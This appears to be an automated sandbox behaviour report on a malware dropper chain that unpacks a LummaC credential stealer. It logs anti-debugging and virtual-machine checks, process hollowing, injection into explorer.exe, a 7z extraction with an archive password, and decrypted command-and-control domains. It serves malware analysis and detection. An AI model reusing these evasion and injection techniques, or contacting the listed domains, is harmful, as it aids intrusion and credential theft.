Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6848	Thread sleep time: -2091045s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 828	Thread sleep count: 390 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 828	Thread sleep time: -11700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2036	Thread sleep count: 1379 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2036	Thread sleep time: -2759379s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6364	Thread sleep count: 1400 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6364	Thread sleep time: -2801400s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3772	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe TID: 2952	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe TID: 2768	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7392	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5264	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5808	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe TID: 6900	Thread sleep time: -240000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_009336A9 FindFirstFileExW,	8_2_009336A9
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_0093375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_0093375A
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_009336A9 FindFirstFileExW,	10_2_009336A9
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_0093375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_0093375A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: file.exe, 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.1409061451.0000000000A81000.00000080.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000000.1434396421.00000000007F1000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000000.1997684618.00000000007F1000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmp, 80f68847d3.exe, 00000023.00000002.2383615819.0000000000A8A000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003B04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: d2cb36d600.exe, 0000000B.00000003.2292678383.0000000001357000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355445678.0000000001357000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377056263.0000000001357000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2270396851.0000000001357000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2190331950.0000000001357000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWbU
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, d2cb36d600.exe, 0000000B.00000003.2292678383.0000000001357000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375048066.000000000131C000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2376845884.000000000131C000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355445678.0000000001357000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377056263.0000000001357000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2270396851.0000000001357000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2190331950.0000000001357000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.2341019039.000000000050A000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2617124974.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 00000006.00000002.2681819982.00000000013D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 9f237e29d5.exe, 0000002F.00000003.2617124974.00000000012E2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000002.2618903054.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: PING.EXE, 00000022.00000002.2348279303.0000015DF78EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: svchost.exe, 00000029.00000003.2363376254.0000000005010000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: svchost.exe, 00000029.00000003.2363376254.0000000005010000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmp, 80f68847d3.exe, 00000023.00000002.2383615819.0000000000A8A000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: file.exe, 00000000.00000000.1409061451.0000000000A81000.00000080.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000000.1434396421.00000000007F1000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000000.1997684618.00000000007F1000.00000080.00000001.01000000.00000007.sdmp	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: d2cb36d600.exe, 0000000B.00000003.2214264543.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: PING.EXE, 00000028.00000002.2376508917.0000027843D09000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllnn

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

API call chain: ExitProcess graph end node

graph_8-14466

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Process queried: DebugPort
Source: C:\Windows\explorer.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EF022E rdtsc

0_2_04EF022E

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Code function: 8_2_00925020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_00925020

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C652B mov eax, dword ptr fs:[00000030h]	0_2_008C652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008CA302 mov eax, dword ptr fs:[00000030h]	0_2_008CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0063A302 mov eax, dword ptr fs:[00000030h]	2_2_0063A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0063652B mov eax, dword ptr fs:[00000030h]	2_2_0063652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0063A302 mov eax, dword ptr fs:[00000030h]	6_2_0063A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0063652B mov eax, dword ptr fs:[00000030h]	6_2_0063652B
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_0094519E mov edi, dword ptr fs:[00000030h]	8_2_0094519E
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_00921614 mov edi, dword ptr fs:[00000030h]	8_2_00921614
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_00921614 mov edi, dword ptr fs:[00000030h]	10_2_00921614

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Code function: 8_2_0092FE2C GetProcessHeap,

8_2_0092FE2C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_00925014 SetUnhandledExceptionFilter,	8_2_00925014
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_00925020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00925020
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_0092B4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0092B4B9
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_00924C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00924C64
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_00925014 SetUnhandledExceptionFilter,	10_2_00925014
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_00925020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00925020
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_0092B4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0092B4B9
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_00924C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00924C64

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Code function: 8_2_0094519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

8_2_0094519E

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Memory written: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Memory written: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6744 base: 21D010 value: 00

LummaC encrypted strings found

Source: d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click
Source: 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Thread register set: target process: 6744

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Memory written: C:\Windows\explorer.exe base: 21D010

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe "C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe "C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe "C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Process created: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Process created: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
